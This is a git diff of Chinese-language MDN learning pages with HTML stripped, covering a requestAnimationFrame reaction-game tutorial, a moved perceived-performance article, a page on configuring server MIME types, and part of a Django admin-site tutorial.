requestAnimationFrame()可用与之对应的cancelAnimationFrame()方法“撤销”(不同于“set…”类方法的“清除”,此处更接近“撤销”之意)。

- -

该方法以requestAnimationFrame()的返回值为参数,此处我们将该返回值存在变量 rAF 中:

- -
cancelAnimationFrame(rAF);
- -

主动学习: 启动和停止旋转器(spinner)

- -

在这个练习中,我们希望你能对cancelAnimationFrame()方法做一些测试,在之前的示例中添加新内容。你需要在示例中添加一个事件监听器,用于当鼠标在页面任意位置点击时,启动或停止旋转器。 

- -

一些提示:

- - - -
-

Note: 先自己尝试一下,如果你确实遇到困难,可以参看我们的在线示例源代码

-
- -

限制 (节流) requestAnimationFrame()动画

- -

requestAnimationFrame() 的限制之一是无法选择帧率。在大多数情况下,这不是问题,因为通常希望动画尽可能流畅地运行。但是,当要创建老式的8位类型的动画时,怎么办?

- -

例如,在我们的 Drawing Graphics 文章中的猴子岛行走动画中的一个问题:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}

- -

在此示例中,必须为角色在屏幕上的位置及显示的精灵设置动画。精灵动画中只有6帧。如果通过 requestAnimationFrame() 为屏幕上显示的每个帧显示不同的精灵帧,则 Guybrush 的四肢移动太快,动画看起来很荒谬。因此,此示例使用以下代码限制精灵循环的帧率:

- -
if (posX % 13 === 0) {
-  if (sprite === 5) {
-    sprite = 0;
-  } else {
-    sprite++;
-  }
-}
- -

因此,代码每13个动画帧循环一次精灵。

- -

...实际上,大约是每 6.5 帧,因为我们将每帧更新 posX 2个单位值(角色在屏幕上的位置)

- -
if(posX > width/2) {
-  newStartPos = -( (width / 2) + 102 );
-  posX = Math.ceil(newStartPos / 13) * 13;
-  console.log(posX);
-} else {
-  posX += 2;
-}
- -

这是用于计算如何更新每个动画帧中的位置的代码。

- -

用于限制动画的方法将取决于特定代码。例如,在前面的旋转器实例中,可以通过仅在每帧中增加 rotateCount 一个单位(而不是两个单位)来使其运动速度变慢。

- -

主动学习:反应游戏

- -

对于本文的最后部分,将创建一个 2 人反应游戏。游戏将有两个玩家,其中一个使用 A 键控制游戏,另一个使用 L 键控制游戏。

- -

按下 开始 按钮后,像前面看到的旋转器那样的将显示 5 到 10 秒之间的随机时间。之后将出现一条消息,提示 “PLAYERS GO!!”。一旦这发生,第一个按下其控制按钮的玩家将赢得比赛。

- -

{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}

- -

让我们来完成以下工作:

- -
    -
  1. -

    首先,下载 starter file for the app 。其中包含完成的 HTML 结构和 CSS 样式,为我们提供了一个游戏板,其中显示了两个玩家的信息(如上所示),但 spinner 和 结果段落重叠显示,只需要编写 JavaScript 代码。

    -
  2. -
  3. -

    在页面上空的 {{htmlelement("script")}} 元素里,首先添加以下几行代码,这些代码定义了其余代码中需要的一些常量和变量:

    - -
    const spinner = document.querySelector('.spinner p');
    -const spinnerContainer = document.querySelector('.spinner');
    -let rotateCount = 0;
    -let startTime = null;
    -let rAF;
    -const btn = document.querySelector('button');
    -const result = document.querySelector('.result');
    - -

    这些是:

    - -
      -
    1. 对旋转器的引用,因此可以对其进行动画处理。
    2. -
    3. 包含旋转器 {{htmlelement("div")}} 元素的引用。用于显示和隐藏它。
    4. -
    5. 旋转计数。这确定了显示在动画每一帧上的旋转器旋转了多少。
    6. -
    7. 开始时间为null。当旋转器开始旋转时,它将赋值为 开始时间。
    8. -
    9. 一个未初始化的变量,用于之后存储使 旋转器 动画化的  {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}  调用。
    10. -
    11. 开始按钮的引用。
    12. -
    13. 结果字段的引用。
    14. -
    -
  4. -
  5. -

    接下来,在前几行代码下方,添加以下函数。它只接收两个数字并返回一个在两个数字之间的随机数。稍后将需要它来生成随机超时间隔。

    - -
    function random(min,max) {
    -  var num = Math.floor(Math.random()*(max-min)) + min;
    -  return num;
    -}
    -
  6. -
  7. -

    接下来添加 draw() 函数以使 旋转器 动画化。这与之前的简单旋转器示例中的版本非常相似:

    - -
      function draw(timestamp) {
    -    if(!startTime) {
    -     startTime = timestamp;
    -    }
    -
    -    let rotateCount = (timestamp - startTime) / 3;
    -
    -    if(rotateCount > 359) {
    -      rotateCount %= 360;
    -    }
    -
    -    spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
    -    rAF = requestAnimationFrame(draw);
    -  }
    -
  8. -
  9. -

    现在是时候在页面首次加载时设置应用程序的初始状态了。添加以下两行,它们使用 display: none; 隐藏结果段落和旋转器容器。

    - -
    result.style.display = 'none';
    -spinnerContainer.style.display = 'none';
    -
  10. -
  11. -

    接下来,定义一个 reset() 函数。该函数在游戏结束后将游戏设置回初始状态以便再次开启游戏。在代码底部添加以下内容:

    - -
    function reset() {
    -  btn.style.display = 'block';
    -  result.textContent = '';
    -  result.style.display = 'none';
    -}
    -
  12. -
  13. 好的,准备充分!现在该使游戏变得可玩了!将以下代码块添加到代码中。 start() 函数调用 draw() 以启动 旋转器,并在UI中显示它,隐藏“开始”按钮,这样您就无法通过同时启动多次来弄乱游戏,并运行一个经过5到10秒的随机间隔后,会运行 setEndgame() 函数的 setTimeout() 。下面的代码块还将一个事件侦听器添加到按钮上,以在单击它时运行 start() 函数。 -
    btn.addEventListener('click', start);
    -
    -function start() {
    -  draw();
    -  spinnerContainer.style.display = 'block';
    -  btn.style.display = 'none';
    -  setTimeout(setEndgame, random(5000,10000));
    -}
    -
  14. -
  15. 添加以下方法到代码:
  16. -
- -
function setEndgame() {
-  cancelAnimationFrame(rAF);
-  spinnerContainer.style.display = 'none';
-  result.style.display = 'block';
-  result.textContent = 'PLAYERS GO!!';
-
-  document.addEventListener('keydown', keyHandler);
-
-  function keyHandler(e) {
-    console.log(e.key);
-    if(e.key === 'a') {
-      result.textContent = 'Player 1 won!!';
-    } else if(e.key === 'l') {
-      result.textContent = 'Player 2 won!!';
-    }
-
-    document.removeEventListener('keydown', keyHandler);
-    setTimeout(reset, 5000);
-  };
-}
- -

逐步执行以下操作:

- -
    -
  1. 首先通过 {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}}  取消 旋转器 动画(清理不必要的流程总是一件好事),隐藏 旋转器 容器。
  2. -
  3. 接下来,显示结果段落并将其文本内容设置为“ PLAYERS GO !!”。向玩家发出信号,表示他们现在可以按下按钮来取胜。
  4. -
  5. keydown 事件侦听器附加到 document。当按下任何按钮时,keyHandler() 函数将运行。
  6. -
  7. 在 keyHandler() 里,在 keyHandler() 内部,代码包括作为参数的事件对象作为参数(用 e 表示)- 其 {{domxref("KeyboardEvent.key", "key")}} 属性包含刚刚按下的键,可以通过这个对象来对特定的操作和特定的按键做出响应。
  8. -
  9. 将变量 isOver 设置为 false ,这样我们就可以跟踪是否按下了正确的按键以使玩家1或2获胜。我们不希望游戏在按下错误的键后结束。
  10. -
  11. e.key 输出到控制台,这是找出所按的不同键的键值的有用方法。
  12. -
  13. e.key 为“ a”时,显示一条消息说玩家1获胜;当 e.key 为“ l”时,显示消息说玩家2获胜。 (注意:这仅适用于小写的a和l - 如果提交了大写的 A 或 L(键加上 Shift),则将其视为另一个键!)如果按下了其中一个键,请将 isOver 设置为 true
  14. -
  15. 仅当 isOvertrue 时,才使用 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 删除 keydown 事件侦听器,以便一旦产生获胜的按键,就不再有键盘输入可以弄乱最终游戏结果。您还可以使用 setTimeout() 在5秒钟后调用 reset()-如前所述,此函数将游戏重置为原始状态,以便可以开始新游戏。
  16. -
- -

就这样-一切都完成了!

- -
-

Note: 如果卡住了, check out our version of the reaction game (see the source code also).

-
- -

结论

- -

就是这样-异步循环和间隔的所有要点在一篇文章中介绍了。您会发现这些方法在许多情况下都很有用,但请注意不要过度使用它们!因为它们仍然在主线程上运行,所以繁重的回调(尤其是那些操纵DOM的回调)会在不注意的情况下降低页面的速度。

- -

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}

- -

In this module

- - diff --git a/files/zh-cn/learn/performance/perceived_performance/index.html b/files/zh-cn/learn/performance/perceived_performance/index.html new file mode 100644 index 0000000000..3740a4c62c --- /dev/null +++ b/files/zh-cn/learn/performance/perceived_performance/index.html @@ -0,0 +1,109 @@ +--- +title: 感知性能 +slug: learn/Performance/感知性能 +tags: + - Web 性能 + - 感知性能 +translation_of: Learn/Performance/perceived_performance +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}
+ +

感知性能 是用户对网站速度的感受。 用户如何看待性能与任何客观统计数据一样重要,甚至更重要,但它是主观的,并且不易测量。感知性能是用户视角,而不是指标。

+ +

本文简要介绍了感知性能,着眼于用户的感知,以及可以使用哪些客观工具来衡量这类主观因素。

+ + + + + + + + + + + + +
预备知识:基础计算机知识,基本软件安装, 客户端 web 技术的基础知识
目标基本了解用户对Web性能的看法。
+ +

性能是关于用户视角的。 How fast a website feels like it's loading and rendering has a greater impact on user experience than how fast the website actually loads and renders. Even if an operation is going to take a long time (because of latency or or inavailability of the main thread), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and tips (or jokes, or whatever else you think might be appropriate). Such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and giving up.

+ +

感知性能

+ +

The perception of how fast your site loads and how responsive feels to user interaction is vitally important; even more important that actual download time but difficult to quantify. There are areas of your site that you may not be able to make faster, but you can make it feel faster even if the metrics discussed in the othser sections can't be improved.

+ +

There is no unicorn metric that can measure what the user feels, but metrics are useful in guaging improvements (and regressions). Relevant measurements include first meaningful paint (FMP), largest contentful paint (LCP), time to interactive (TTI), render start, DOM interactive, and speed index.

+ +

First paint is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple background color update or something even less noticable. It doesn’t indicate completeness and may report a time when nothing visible is painted. First Contentful Paint (FCP) reports the time when the browser first rendered anything of signifigance, be that text, foreground or background image, or a canvas or SVG; capturing the very beginning of the loading experience. But, just because there's content, doesn't mean it's useful content or that the user has content to consume. The First Meaningful Paint, or FMP, is the when content appears on the screen that is actually meaningful; which is a better metric for user-perceived loading experience, but still not ideal. Largest contentful paint (LCP) metric, definited in the Largest Contentful Paint API, reports the render time of the largest content element visible in the viewport.

+ +

Speed index is also used to approximate perceived performance: it measures the average time for pixels on the visible screen to be painted. It doesn't account for jitter, nor does it weight which content important to a user more highly, so it's not a perfect metric.

+ +

These metrics have to do with initial load and render. It is also important to ensure the site feels fast once the user begins interacting with it. For this, time to interactive, is a good metric; it is the moment when the last long task of the load process finishes and the UI is available for user interaction with delay.

+ +

UI lack or responsiveness and jank both harm perceived performance. Even though a task may take a long time, though, there are ways to make it seem faster. There are several tips to improving perceived performance.

+ +

提升感知性能

+ +

Understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction. However, you don't have to know the ins and outs of how everything, including how the human mind works, to improve the perception of speed.

+ +

How fast or slow something feels like it's taking depends a lot on whether the user is actively or passively waiting for this thing to happen. Waits can have an active and passive phase. When the user is active - moving the mouse, thinking, being entertainted, they are in an active phase. The passive phase occurs when the user is passively waiting, like staring at a monochrome screen. If both the passive and active waits time were objectively equal, users would estimate that the passive waiting period was longer than the active. If a load, render, or response time can not be objectively minimized any further, turning the wait into an active wait instead of a passive wait can make it feel faster.

+ +

There are tips and tricks to follow. Some of these quick tips have full articles if you want to dive deeper.

+ +

Displaying content, or at least some part of the page with an indication that content is loading, as quickly as possible, is essential to improving perceived performance. For example, because page render is blocked by loading and parsing CSS and JavaScript, minimizing the amount of CSS and JS that needs to be loaded on initially will have a major impact on improving perceived performance. Even though the bytes might be the same, not blocking the page from rendering makes the load feel faster.

+ +

这里有一些技巧有助于提升性能:

+ +

最小化初始加载

+ +

要提升可感知性能,请最小化页面初始加载。 换句话说,首先下载将实际显示的所有内容,但仅下载实际使用的内容,然后下载其余内容。 因为最终要下载所有资源,所以实际上资源总量并没有改善——实际上还需要增加一些代码。但因为暂不需要的资源被延后加载了,所以用户并不会感知资源量的增加,而会感受到页面加载更快了。 

+ +

为了最大程度地减少初始加载资源,请从内容中分离交互式功能,以便优先加载初始化时所需的可见内容——文本、样式和图像。 延迟加载其余资源。

+ +

不要加载初始页面未使用或看不到的图像或脚本,而在页面可用后延时加载,或在需要使用时按需加载。 在初始页面加载之后加载其他资源可提高感知性能。 在初始请求中加载基本数据,并仅根据需要逐步加载功能部件和数据,有助于改善低带宽和低规格硬件的体验。

+ +

此外,您应该优化需加载的资源。 图片和视频应以最佳格式、压缩后的大小和正确尺寸进行投放。

+ +

防止内容跳转和其他重排

+ +

Images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance. Content reflowing is especially bad for user experience when not initiated by user interaction. If some assets are going to be slower to load than others, with elements loading after other content has already been painted to the screen, plan ahead and leave space in the layout for them so that content doesn't jump or resize, especially after the site has become interactive.

+ +

避免字体文件延迟

+ +

Font use can both help and harm user experience. Selecting the right fonts is an art form, and can greatly improve the user experience. Fonts can also harm user experience, especially if the fonts used need to be imported, and if the importing is not optimal, or if Comic Sans is used (kidding).  Flicker of unstyled text and missing text both harm performance.

+ +

Make fallback fonts the same size and weight so that when fonts load the page change is less noticeable.

+ +

交互类元素是可交互的

+ +

Make sure visible interactive elements are always interactive and responsive. If input elements are visible, the user should be able to interact with them without a lag. Users feel that something is laggy when they take more than 50ms to react. They feel that a page is janky when content repaints slower than 16.67ms (or 60 frames per second) or repaints at uneven intervals.

+ +

Make things like type-ahead a progressive enhancement: use css to display input modal, JS to add typeahead/autocomplete as it is available

+ +

使任务启动器显得更具交互性

+ +

在按下按键而不是等待按键弹起时发出请求,可以使感知的内容加载减少200毫秒。在 KEYUP 后添加一个有趣但不显眼的200毫秒动画,甚至可以再降低200毫秒的加载感知。 您并没有节省400毫秒的时间,但是用户直到真正等待内容时,才感觉到他们在等待内容。

+ +

总结

+ +

By turning as much of the download, render and wait time into active phases and reducing any passive waiting, even if the objective measurements stay the same, the user will feel like the content downloaded, rendered, and responded more quickly. Now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events.

+ +

{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}

+ +

In this module

+ + diff --git "a/files/zh-cn/learn/performance/\346\204\237\347\237\245\346\200\247\350\203\275/index.html" "b/files/zh-cn/learn/performance/\346\204\237\347\237\245\346\200\247\350\203\275/index.html" deleted file mode 100644 index 3740a4c62c..0000000000 --- "a/files/zh-cn/learn/performance/\346\204\237\347\237\245\346\200\247\350\203\275/index.html" +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 感知性能 -slug: learn/Performance/感知性能 -tags: - - Web 性能 - - 感知性能 -translation_of: Learn/Performance/perceived_performance ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}
- -

感知性能 是用户对网站速度的感受。 用户如何看待性能与任何客观统计数据一样重要,甚至更重要,但它是主观的,并且不易测量。感知性能是用户视角,而不是指标。

- -

本文简要介绍了感知性能,着眼于用户的感知,以及可以使用哪些客观工具来衡量这类主观因素。

- - - - - - - - - - - - -
预备知识:基础计算机知识,基本软件安装, 客户端 web 技术的基础知识
目标基本了解用户对Web性能的看法。
- -

性能是关于用户视角的。 How fast a website feels like it's loading and rendering has a greater impact on user experience than how fast the website actually loads and renders. Even if an operation is going to take a long time (because of latency or or inavailability of the main thread), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and tips (or jokes, or whatever else you think might be appropriate). Such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and giving up.

- -

感知性能

- -

The perception of how fast your site loads and how responsive feels to user interaction is vitally important; even more important that actual download time but difficult to quantify. There are areas of your site that you may not be able to make faster, but you can make it feel faster even if the metrics discussed in the othser sections can't be improved.

- -

There is no unicorn metric that can measure what the user feels, but metrics are useful in guaging improvements (and regressions). Relevant measurements include first meaningful paint (FMP), largest contentful paint (LCP), time to interactive (TTI), render start, DOM interactive, and speed index.

- -

First paint is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple background color update or something even less noticable. It doesn’t indicate completeness and may report a time when nothing visible is painted. First Contentful Paint (FCP) reports the time when the browser first rendered anything of signifigance, be that text, foreground or background image, or a canvas or SVG; capturing the very beginning of the loading experience. But, just because there's content, doesn't mean it's useful content or that the user has content to consume. The First Meaningful Paint, or FMP, is the when content appears on the screen that is actually meaningful; which is a better metric for user-perceived loading experience, but still not ideal. Largest contentful paint (LCP) metric, definited in the Largest Contentful Paint API, reports the render time of the largest content element visible in the viewport.

- -

Speed index is also used to approximate perceived performance: it measures the average time for pixels on the visible screen to be painted. It doesn't account for jitter, nor does it weight which content important to a user more highly, so it's not a perfect metric.

- -

These metrics have to do with initial load and render. It is also important to ensure the site feels fast once the user begins interacting with it. For this, time to interactive, is a good metric; it is the moment when the last long task of the load process finishes and the UI is available for user interaction with delay.

- -

UI lack or responsiveness and jank both harm perceived performance. Even though a task may take a long time, though, there are ways to make it seem faster. There are several tips to improving perceived performance.

- -

提升感知性能

- -

Understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction. However, you don't have to know the ins and outs of how everything, including how the human mind works, to improve the perception of speed.

- -

How fast or slow something feels like it's taking depends a lot on whether the user is actively or passively waiting for this thing to happen. Waits can have an active and passive phase. When the user is active - moving the mouse, thinking, being entertainted, they are in an active phase. The passive phase occurs when the user is passively waiting, like staring at a monochrome screen. If both the passive and active waits time were objectively equal, users would estimate that the passive waiting period was longer than the active. If a load, render, or response time can not be objectively minimized any further, turning the wait into an active wait instead of a passive wait can make it feel faster.

- -

There are tips and tricks to follow. Some of these quick tips have full articles if you want to dive deeper.

- -

Displaying content, or at least some part of the page with an indication that content is loading, as quickly as possible, is essential to improving perceived performance. For example, because page render is blocked by loading and parsing CSS and JavaScript, minimizing the amount of CSS and JS that needs to be loaded on initially will have a major impact on improving perceived performance. Even though the bytes might be the same, not blocking the page from rendering makes the load feel faster.

- -

这里有一些技巧有助于提升性能:

- -

最小化初始加载

- -

要提升可感知性能,请最小化页面初始加载。 换句话说,首先下载将实际显示的所有内容,但仅下载实际使用的内容,然后下载其余内容。 因为最终要下载所有资源,所以实际上资源总量并没有改善——实际上还需要增加一些代码。但因为暂不需要的资源被延后加载了,所以用户并不会感知资源量的增加,而会感受到页面加载更快了。 

- -

为了最大程度地减少初始加载资源,请从内容中分离交互式功能,以便优先加载初始化时所需的可见内容——文本、样式和图像。 延迟加载其余资源。

- -

不要加载初始页面未使用或看不到的图像或脚本,而在页面可用后延时加载,或在需要使用时按需加载。 在初始页面加载之后加载其他资源可提高感知性能。 在初始请求中加载基本数据,并仅根据需要逐步加载功能部件和数据,有助于改善低带宽和低规格硬件的体验。

- -

此外,您应该优化需加载的资源。 图片和视频应以最佳格式、压缩后的大小和正确尺寸进行投放。

- -

防止内容跳转和其他重排

- -

Images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance. Content reflowing is especially bad for user experience when not initiated by user interaction. If some assets are going to be slower to load than others, with elements loading after other content has already been painted to the screen, plan ahead and leave space in the layout for them so that content doesn't jump or resize, especially after the site has become interactive.

- -

避免字体文件延迟

- -

Font use can both help and harm user experience. Selecting the right fonts is an art form, and can greatly improve the user experience. Fonts can also harm user experience, especially if the fonts used need to be imported, and if the importing is not optimal, or if Comic Sans is used (kidding).  Flicker of unstyled text and missing text both harm performance.

- -

Make fallback fonts the same size and weight so that when fonts load the page change is less noticeable.

- -

交互类元素是可交互的

- -

Make sure visible interactive elements are always interactive and responsive. If input elements are visible, the user should be able to interact with them without a lag. Users feel that something is laggy when they take more than 50ms to react. They feel that a page is janky when content repaints slower than 16.67ms (or 60 frames per second) or repaints at uneven intervals.

- -

Make things like type-ahead a progressive enhancement: use css to display input modal, JS to add typeahead/autocomplete as it is available

- -

使任务启动器显得更具交互性

- -

在按下按键而不是等待按键弹起时发出请求,可以使感知的内容加载减少200毫秒。在 KEYUP 后添加一个有趣但不显眼的200毫秒动画,甚至可以再降低200毫秒的加载感知。 您并没有节省400毫秒的时间,但是用户直到真正等待内容时,才感觉到他们在等待内容。

- -

总结

- -

By turning as much of the download, render and wait time into active phases and reducing any passive waiting, even if the objective measurements stay the same, the user will feel like the content downloaded, rendered, and responded more quickly. Now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events.

- -

{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}

- -

In this module

- - diff --git a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html new file mode 100644 index 0000000000..577aacfb08 --- /dev/null +++ b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html @@ -0,0 +1,118 @@ +--- +title: Properly Configuring Server MIME Types +slug: Web/Security/Securing_your_site/Configuring_server_MIME_types +tags: + - HTTP +translation_of: Learn/Server-side/Configuring_server_MIME_types +--- +

Background

+ +

默认情况下,许多web服务器会为那些未知内容类型的文件配置一个默认MIME类型text/plain 或者application/octet-stream 。当一种新的内容类型被创造或者被添加到web服务器上,web管理者在添加它到web服务器配置中可能会失败。主要原因是用户使用Gecko-based 的浏览器,而这种浏览器只相信由web服务器和web应用所发布的MIME类型

+ +

What are MIME types?

+ +

MIME类型描述了邮件或者web服务器或者web应用中的媒体内容的类型,其目的是为了指导web浏览器对媒体内容的处理和表现。MIME类型的示例如下:

+ + + +

Technical Background

+ +

完整的MIME类型列表可在 IANA | MIME Media Types 查看.

+ +

HTTP specification 中定义了能够描述在web中使用的媒体类型的MIME超集。

+ +

Why are correct MIME types important?

+ +

Example of an incorrect MIME type result 假如web服务器或者应用报告内容的MIME类型不正确,根据HTTP规范,或许发起人想要处理和显示内容通过他所规定的MIME类型,因此web浏览器无法采取任何措施。

+ +

对于某些浏览器,例如IE,它尝试允许web服务器对于错误配置通过其源码猜测它可能的正确MIME类型。

+ +

这种做法将会避免许多由web管理员他们的错误。因为当内容的MIME类型错误,IE将会用可能正确的MIME类型来继续处理内容。例如你设置一个img的类型为text/plain ,IE可能会设置它为正确的MIME类型images/*

+ +

出于安全原因,使用正确的MIME类型的服务内容也是重要的; 恶意内容可能会影响用户的计算机,假装它是一个安全类型文档,实际上不是。

+ +
+

注意: 从历史角度, 只要HTML文档请求处理CSS文件 ,Firefox 能够正常加载CSS即使它设置了错误的MIME类型。处于安全原因, {{ gecko("2.0") }} 对于从请求文档不同来源加载的样式表,将不再这样做。如果CSS来自于不同来源,你必须设置它的正确MIME类型 (text/css).

+ +

Gecko 1.9.1.11 (Firefox 3.5.11) 和 Gecko 1.9.2.5 (Firefox 3.6.5) 同样实施这种安全措施,但是提高它的实用性。如果样式表中的第一行看起来是一个很好的CSS构造,则存在允许加载的临时启发式算法。在Firefox 4中已经删除了启发式,您必须正确设置text/css 的MIME类型,才能够识别CSS。

+
+ +

为何浏览器不应该猜测 MIME 类型

+ +

除了违返了HTTP规范,让浏览器去猜测正确的MIME类型是一个差劲的策略。原因如下

+ +

失去控制

+ +

假如浏览器忽略报告的MIME类型,web管理员和用户不在对内容如何进行处理有发言权了。

+ +

例如,面对web开发员的网址可能希望发送某些实例HTML文档,同时通希望能够以 text/html或者 text/plain 的MIME类型进行数据的处理和显示 或者 作为一个源代码。如果浏览器猜测它的正确MIME类型为 text/html 那么开发员不在有权利进行选择了。

+ +

安全性

+ +

一些内容类型,例如可执行程序,本质上是不安全的。原因是经过规范化的MIME类型都有经过严格规定浏览器如何对这类类型的文件进行操作。一个可执行程序不能够在用户的电脑浏览器上执行,但可以通过弹出会话询问是否下载这个文件

+ +

MIME类型猜测导致IE浏览器的安全漏洞(通过利用IE能够将错误的MIME类型 修改为正确的类型)。这绕过了正常的下载对话框,导致InternetExplorer猜测内容是可执行程序,然后在用户的计算机上运行。

+ +

如何确定服务器发送内容的 MIME 类型

+ +

通过开发者工具的 ContentType 查看MIME类型。

+ +

根据标准,通过一个 meta 标签来设置MIME类型 例如 <meta http-equiv="Content-Type" content="text/html"> 当包含{{HTTPHeader("Content-Type")}} 时则忽略 meta 标签

+ + + +

如何为你的内容确定正确的 MIME 类型

+ +

这里有几种方法来确定文件的正确MIME类型

+ +
    +
  1. 如果你的内容是通过供应商软件应用创建的,那么你可以阅读供应商文档确认不同媒体文件的MIME值
  2. +
  3. 通过查看完整的MIME类型表 IANA | MIME Media Types registry 
  4. +
  5. 如果使用插件netscape gecko显示媒体类型,请安装插件,然后查看“帮助”>“关于插件”菜单,以查看哪些MIME类型与媒体类型相关联。
  6. +
  7. 搜索文件扩展名 FILExt 或者File extensions reference ,确认扩展名和哪种类型的MIME相关联
  8. +
+ +

如何设置服务器以发送正确的MIME类型

+ +

基本的方法是配置你的服务器发送正确的HTTP ContentType类型给每个文档

+ + + + + + + +
+

Original Document Information

+ +
    +
  • Author: Bob Clary, date: 20 Feb 2003
  • +
+
diff --git a/files/zh-cn/learn/server-side/django/admin_site/index.html b/files/zh-cn/learn/server-side/django/admin_site/index.html new file mode 100644 index 0000000000..d3252d84c5 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/admin_site/index.html @@ -0,0 +1,339 @@ +--- +title: 'Django Tutorial Part 4: Django 管理员站点' +slug: learn/Server-side/Django/管理站点 +translation_of: Learn/Server-side/Django/Admin_site +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}
+ +

好了,我们已经为本地图书馆网站 LocalLibrary 创建了模型,我们接下来使用 Django 管理站点去添加 一些 “真“书数据。首先我们展示如何用管理站点注册模型,然后展示如何登录和创建一些数据。本文最后,我们介绍你可以进一步改进管理站点的建议。

+ + + + + + + + + + + + +
前提:完成: Django Tutorial Part 3: 使用模型
目的: +

了解关于管理站点的优点与缺点,并且可以使用它为我们模型创建一些记录。

+
+ +

综述

+ +

Django管理应用程序可以使用您的模型自动构建可用于创建,查看,更新和删除记录的站点区域。这可以在开发过程中节省大量的时间,从而很容易测试您的模型,并了解您是否拥有正确的数据。根据网站的类型,管理应用程序也可用于管理生产中的数据。Django项目建议仅用于内部数据管理(即仅供管理员或组织内部人员使用),因为以模型为中心的方法不一定是所有用户最好的界面,并且暴露了大量不必要的细节关于模型。

+ +

创建基础项目时,自动完成所有将您的网站中的管理应用程序包含在内的配置文件 (有关所需实际依赖关系的信息  (如有需要请看 Django docs here). 其结果是,你必须做你的模型添加到管理应用程序是  注册  他们。在本文末尾,我们将简要介绍如何进一步配置管理区域以更好地显示我们的模型数据。

+ +

注册模型后,我们将展示如何创建一个新的“超级用户”,登录到该网站,并创建一些书籍,作者,书籍实例和流派。这些将有助于测试我们将在下一个教程中开始创建的视图和模板。

+ +

注册模型

+ +

首先,在目录应用程序(/locallibrary/catalog/admin.py)中打开 admin.py 。此时此刻它看起来像这样—注意它已经导入了django.contrib.admin:

+ +
from django.contrib import admin
+
+# Register your models here.
+
+ +

通过将以下文本复制到文件的底部来注册模型。该代码简单地导入模型,调用 admin.site.register 来注册它们。

+ +
from .models import Author, Genre, Book, BookInstance
+
+admin.site.register(Book)
+admin.site.register(Author)
+admin.site.register(Genre)
+admin.site.register(BookInstance)
+
+ +
注意: 如果你接受创建模型以表示书籍的自然语言的挑战(see the models tutorial article), 导入并注册。
+ +

这是在网站上注册模型或多模型的简单方法,管理站点是高度可定制的,我们将进一步讨论注册模型的其他方式。

+ +

创建一个超级用户

+ +

为了登录管理员站点,我们需要启动工作人员状态的用户账户。为了查看和创建记录,我们还需要该用户具有所有对象的记录。你可以创建一个“超级用户”账号,该账号具有完全访问该站点和所有必需的权限可以使用manage.py

+ +

调用接下来的命令,在同样的目录下,manage.py 创建超级用户。你将被提示输入用户名,电子邮件地址,和强密码。

+ +
python3 manage.py createsuperuser
+
+ +

一旦命令完成,一个新超级用户将被添加到数据库。现在重新启动开发服务器,以便我们可以测试登录名:

+ +
python3 manage.py runserver
+
+ +

登入并使用该网站

+ +

登录网站,打开 /admin (e.g. http://127.0.0.1:8000/admin)
+ 和进入你的新超级用户名和密码凭据(你将被重定向到 登录页面,然后在你进入你的详细信息后回到 /admin URL

+ +

这部分网站展示我们所有的模型,按安装的应用程序分组。你可以点击模型名称来进入到 它所有相关详细记录的页面,你可以进一步点击这些记录进行编辑。你也可以直接点击每个模型旁边的添加链接,开始创建该类型的记录。

+ +

Admin Site - Home page

+ +

点击图书右侧的添加链接来新建一本书(这将显示一个类似下面的对话框)。注意每个字段标题,使用的小部件的类型以及help_text(如果有的话)你要在模型中匹配指定的值。

+ +

输入字段的值,你可以创建一个新的作者或类型通过 按 + 按钮(或者如果你已经创建选项,选择已有的值)。完成后,你可以按 保存保存并添加另一个,或保存并继续编辑来保存记录。

+ +

Admin Site - Book Add

+ +
+

注意: 在这里,我们希望你花费一点时间添加一些书,作者,类型(如: 幻想)到你的应用。确保每个作者和类型都包含几本不同的书籍(这会是你的列表和详细视图在文章系列中后期使用时更有趣)。

+
+ +

我们完成添加书籍,在顶部标签中,点击 Home 链接将回到主管理页面。然后点击 Books 链接显示当前书籍的列表(或其他链接之一,以查看其他型号列表)。现在你已经添加了几本书,列表可能与下面的截图类似。显示每本书的标题;这是书模型 __str__() 方法返回的值,在上一文章中提到。

+ +

Admin Site - List of book objects

+ +

